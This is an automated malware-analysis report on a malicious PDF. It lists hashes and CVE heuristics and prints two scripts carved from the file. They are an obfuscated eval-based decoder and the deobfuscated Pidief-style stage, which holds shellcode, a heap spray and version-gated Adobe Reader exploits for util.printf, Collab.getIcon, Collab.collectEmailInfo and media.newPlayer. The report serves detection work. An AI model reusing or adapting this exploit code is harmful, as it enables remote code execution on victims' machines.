Malicious PDF — malware analysis report

Static analysis result for SHA-256 510045e81fba4c17…

MALICIOUS

PDF

10.3 KB Created: 2010-05-07 06:09:58 Authoring application: Seprauomotafodip First seen: 2026-05-11
MD5: 8fbe833351e7f2143a8a3dff97d6dabe SHA-1: 16a0fb869fdff441318f3cea1e920cf8335c5ede SHA-256: 510045e81fba4c17fa34018114f2e7c886cddbb20fbc42a317abcda782d0b56d
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x1FC5 2568 bytes
SHA-256: f616abeb426a9029d5d30268e7d353148d58078513e5e5a842952c37b26c37d6
Preview script
First 1,000 lines of the extracted script
// 532a22ebc1ebcc4e8da82f41662ad5a6
var x=String("lejbw".substr(0,2)+"ngwVx".substr(0,2)+"GEOsthOEsG".substr(4,2));
// 6919982f47b8b8eb7df1b8b72d3d420a
var n=2;
// f92074b2ed8ef33404ee413d6a38aafc
var t=new String("getP"+"ageN"+"umWo"+"rds");
// f842bfbaa75b3de98b0e65ca05c716ad
var v=new String("subs"+"tr");
// 6068af585d1462bcd1453a6f82401a0a
var l=94-92;
// 7966d0c01c56a908980ad9500b208a65
var d=String;
// 6698a56ec5905286060b7d5e45b78af5
var j="ch"+"arVsQD".substr(0,2)+"CoqT93".substr(0,2)+"de52Pz".substr(0,2)+"At";
// 07eb5d9a309f6a9c29f510739f08c9df
var jK=String("%MegW".substr(0,1));
// d8872f696d86b037779be827787fcc7b
var mZ=100-100;
// 9d37811974801c938110417ae1d3e476
var nQ="eval";
// 79e3f35ed4baa44dfe8c375e85ced92f
var mR="get"+"Pag"+"eNt"+"hWo394M".substr(0,3)+"rdG2k".substr(0,2);
// 2829cdbcd765e570bcf1b2ad38bf0c7d
var h="charCMEfK".substr(0,5)+"odeAt";
// cf87a1baaa0e29f489bf71177a3bfbb9
var vG="une"+"scaTuW".substr(0,3)+"pe";
// ba03dc0c0892294422c21cf743e4d9dc
var yF=String("fromC"+"harCoL76B".substr(0,5)+"deiIA".substr(0,2));
// 4b03f52720610cb48a527177b93a962f
var jI=35-34;
// f9b51149b17c0c5387ff79ca7cc8d2fe;
// fa4e218de2c243d37970f25b4068b6b9
var gL=193;
// 1bc72bb8a8d76ff2824ead92c97d59af
var p=this;
// fb05936c2097c35877f2a9a4ed5f1cae
var tC=new d();
// df62ccf2e297fc2201903521a37ca5df
function gX(tQ,sJ){return tQ[j](sJ)};
// 5962377c3fcb8d654be8b8ee5d41f492
var tA=p[t](n);
// c96c3320607d8e7f77f8610def1fc1eb
function yD(jM,uH){return jM^uH;};
// 568f0946384a272a8153f8cfa1bc6913;
// c57aab607f9ffb0f28530bae5ab0a4d0
var z=p[nQ];
// b35814e57fc196757c32ae001df0d7b6
var tO=p[vG];
// 51d385225fc61ebad215a79c005bb4f5
function wF(vI,yX){return vI[yX]};
// 3a585bb002e77257b8b0aacbee72e592
function f(fK){return p[mR](n,fK)};
// 1d19cb4af6ee447ba60e2ba7ccd46336
function oJ(vI){return vI[x]-l};
// 25bb0921b5be28e30afb3849f20f9516
function xQ(gR,tY){return gR-tY};
// 2ca32d04db1f1706126dbb35824ec1da
var h=p[h];
// 1636a31123d8951ee297e75f28cefbe0
function gT(vI,sJ){return vI[v](sJ,l)};
// aaf21ac30d4463831eaeb69eb324a2b7
function tM(gR,tY){return gR+tY};function iH(fK){
// ac4dbb9a0a5612f109b936bf8217e678
var r=f(fK);
// 876cca02efecbd56b067e80a4a660de6
sJ=oJ(r);
// ffa0029c37a29df7448f29ab94de0550
dY=gT(r,sJ);
// 2dab1fb3b7db0bda760f3adf8b9f7149
gV = tO(tM(jK,dY));return gX(gV,mZ)};for(var fK=mZ;fK<tA;fK++){
// 528749984112c569ee78235ca1ba35f2
var fKB=iH(fK);
// be7451d600c7d2f2f01b4d1fc13695b6
var lQ=yD(fKB,gL);
// 82bcd927dd70c3e17f83402816228656
tC+=wF(d,yF)(lQ);
// 37a8d701f72ad2cb73cbd0b98a5b741b
}z(tC);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3780 bytes
SHA-256: cc3009d794a6515d419e41984155e37e7da00cde972ab84182ebbdf6288562af
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
o , / / ,,,       
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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